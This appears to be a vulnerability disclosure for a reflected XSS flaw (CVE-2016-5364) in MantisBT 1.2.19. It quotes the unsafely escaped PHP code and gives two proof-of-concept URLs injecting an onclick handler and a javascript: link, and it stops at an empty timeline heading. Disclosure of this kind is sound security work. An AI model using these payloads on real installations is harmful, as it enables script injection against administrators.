MantisBT 1.2.19 Reflected XSS

Homepage:

https://www.mantisbt.org/

CVE-ID

CVE-2016-5364

Description:

$_GET['return'] is not properly escaped inside mantisbt-1.2.19\manage_custom_field_edit_page.php.

strip_tags() function doesn’t strip incomplete HTML tags, for example " accesskey="X" onclick="alert(1).

File: mantisbt-1.2.19\manage_custom_field_edit_page.php

$f_return	= strip_tags( gpc_get_string( 'return', 'manage_custom_field_page.php' ) );
// I skip few lines
<input type="hidden" name="return" value="<?php echo $f_return ?>" />

Also print_bracket_link() function doesn’t check if link is data: or javascript: type:

File: mantisbt-1.2.19\core\print_api.php

function print_bracket_link( $p_link, $p_url_text, $p_new_window = false, $p_class = '' ) {
	echo '<span class="bracket-link">[&#160;';
	print_link( $p_link, $p_url_text, $p_new_window, $p_class );
	echo '&#160;]</span> ';
}

function print_link( $p_link, $p_url_text, $p_new_window = false, $p_class = '' ) {
	if( is_blank( $p_link ) ) {
		echo $p_url_text;
	} else {
		$t_link = htmlspecialchars( $p_link );
		if( $p_new_window === true ) {
			if( $p_class !== '') {
				echo "<a class=\"$p_class\" href=\"$t_link\" target=\"_blank\">$p_url_text</a>";
			} else {
				echo "<a href=\"$t_link\" target=\"_blank\">$p_url_text</a>";
			}
		} else {
			if( $p_class !== '') {
				echo "<a class=\"$p_class\" href=\"$t_link\">$p_url_text</a>";
			} else {
				echo "<a href=\"$t_link\">$p_url_text</a>";
			}
		}
	}
}

So there are two ways to exploit this issue.

First using accesskey and second using javascript: URL which be displayed on manage_custom_field_update.php as <a href="javascript:alert('XSS');">Proceed</a>.

Proof of Concept:

XSS will be visible for Administrator and needs user interaction.

http://mantis/manage_custom_field_edit_page.php?field_id=1&return=" accesskey="X" onclick="alert(1)
http://mantis/manage_custom_field_edit_page.php?field_id=1&return=javascript:alert(%27XSS%27);

Timeline: